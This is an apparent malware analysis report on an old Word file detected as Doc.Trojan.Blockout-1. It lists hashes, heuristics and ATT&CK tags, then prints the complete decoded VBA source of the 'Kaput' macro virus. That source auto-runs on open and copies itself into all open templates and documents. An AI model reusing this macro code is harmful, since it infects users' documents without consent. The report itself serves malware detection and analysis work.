Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 5fa4b60093552877…

MALICIOUS

Office (OLE)

32.0 KB Created: 2000-10-24 15:11:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: bc8476e96caed7f9e290143c83c1c865 SHA-1: 004c2408a04249bc83cec4d27fa8fb557c9b9f7e SHA-256: 5fa4b60093552877337bfc3652113e3387c0b5e6ebe318011585d66bef73bd9a
140 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample contains a critical ClamAV detection for Doc.Trojan.Blockout-1 and exhibits high-priority heuristics indicating the presence of an AutoOpen VBA macro. The extracted VBA script, named 'Kaput', attempts to export itself to 'c:\qq.qq' and import it into other open documents or templates, suggesting a mechanism for propagation or persistence. It also checks for the existence of 'c:\windows\lbes.dll', indicating a potential payload or related component.

Heuristics 4

  • ClamAV: Doc.Trojan.Blockout-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Blockout-1
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1872 bytes
SHA-256: f8e1b1ce5f2750517060cd0d97c504c22c0dae245989ec8c0d00d841112758e2
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "Kaput"
Option Explicit

Sub AutoExec()
  Kaput
End Sub

Sub AutoNew()
  Kaput
End Sub

Sub AutoOpen()
Dim aVar As Object, num As Integer
Kaput

If ThisDocument.Name = "NORMAL.DOT" Then Exit Sub
 
If Len(Dir("c:\windows\lbes.dll")) > 0 Or Day(Date) < 5 Then Exit Sub

For Each aVar In ActiveDocument.Variables
    If aVar.Name = "SX" Then num = aVar.Index
Next aVar
If num = 0 Then
    ActiveDocument.Variables.Add Name:="SX", Value:=1
    num = 1
Else
    ActiveDocument.Variables(num).Value = ActiveDocument.Variables(num).Value + 1
End If
' MsgBox ActiveDocument.Variables(num).Value
If ActiveDocument.Variables(num).Value > 30 Then
 '   MsgBox "No open document. Fatal error. Windows API R/I interface blockOut", vbCritical + vbOKOnly
    ActiveDocument.Close wdSaveChanges
End If

End Sub

Sub Kaput()
Dim openDoc, od As Object, Md, ss As Object, fl As Boolean
   
Set Md = ThisDocument.VBProject.VBComponents.Item("Kaput")
Md.Export ("c:\qq.qq")

For Each openDoc In Templates
With openDoc
  fl = True
  For Each od In .VBProject.VBComponents
     If od.Name = "Kaput" Then fl = False
  Next od
  If fl Then Set ss = .VBProject.VBComponents.Import("c:\qq.qq")
End With
Next openDoc
'----------------------------------------------------------
For Each openDoc In Documents
    With openDoc
      fl = True
      For Each od In .VBProject.VBComponents
        If od.Name = "Kaput" Then fl = False
      Next od
      If fl Then Set ss = .VBProject.VBComponents.Import("c:\qq.qq")
    End With
Next openDoc
Kill "c:\qq.qq"



End Sub

Open this report in the interactive analyzer, or submit your own file for analysis.